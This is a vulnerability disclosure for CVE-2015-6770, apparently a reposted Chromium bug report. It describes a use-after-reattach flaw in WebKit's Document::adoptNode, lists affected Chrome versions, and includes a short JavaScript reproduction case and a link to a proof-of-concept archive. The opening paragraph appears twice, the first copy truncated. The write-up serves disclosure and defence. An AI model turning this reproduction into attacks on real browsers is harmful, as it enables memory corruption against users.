#### VULNERABILITY DETAILS From /third_party/WebKit/Source/core/dom/Document.cpp: ``` PassRefPtrWillBeRawPtr<Node> Document::adoptNode(PassRefPtrWillBeRawPtr<Node> source, ExceptionState& exceptionState) { EventQueueScope scope; switch (source->nodeType()) { (...) default: (...) if (source->parentNode()) { source->parentNode()->removeChild(source.get(), exceptionState); if (exceptionState.hadException()) return nullptr; } } this->adoptIfNeeded(*source); return source; } ``` This code expects that |removeChild(source.get(), exceptionState)| will either detach the source node or throw an exception if it can't be done. However, the child can be reattached immediately after removal (through HTMLScriptElement::childrenChanged) if the parent node is a pending script whose type has recently changed to valid. In such case, ContainerNode::removeChild doesn't throw any exception. Consequently, the adopted node will end up in a wrong tree scope, which may lead to GC crashes and inconsistent...
#### VULNERABILITY DETAILS From /third_party/WebKit/Source/core/dom/Document.cpp: ``` PassRefPtrWillBeRawPtr<Node> Document::adoptNode(PassRefPtrWillBeRawPtr<Node> source, ExceptionState& exceptionState) { EventQueueScope scope; switch (source->nodeType()) { (...) default: (...) if (source->parentNode()) { source->parentNode()->removeChild(source.get(), exceptionState); if (exceptionState.hadException()) return nullptr; } } this->adoptIfNeeded(*source); return source; } ``` This code expects that |removeChild(source.get(), exceptionState)| will either detach the source node or throw an exception if it can't be done. However, the child can be reattached immediately after removal (through HTMLScriptElement::childrenChanged) if the parent node is a pending script whose type has recently changed to valid. In such case, ContainerNode::removeChild doesn't throw any exception. Consequently, the adopted node will end up in a wrong tree scope, which may lead to GC crashes and inconsistent frame states. #### VERSION Chrome 45.0.2454.101 (Stable) Chrome 46.0.2490.64 (Beta) Chrome 47.0.2526.5 (Dev) Chromium 48.0.2531.0 (Release build compiled today) #### REPRODUCTION CASE ``` <script> var s = document.createElement('script'); s.type = '0'; s.textContent = 's.appendChild(x)'; document.documentElement.appendChild(s); var x = document.createElement('x'); s.appendChild(x); s.type = ''; var i = document.documentElement.appendChild(document.createElement('iframe')); i.contentDocument.adoptNode(x); alert(x.ownerDocument === x.parentNode.ownerDocument); </script> ``` 附件:[CVE-2015-6770](http://paper.seebug.org/papers/Archive/poc/CVE-2015-6770.zip)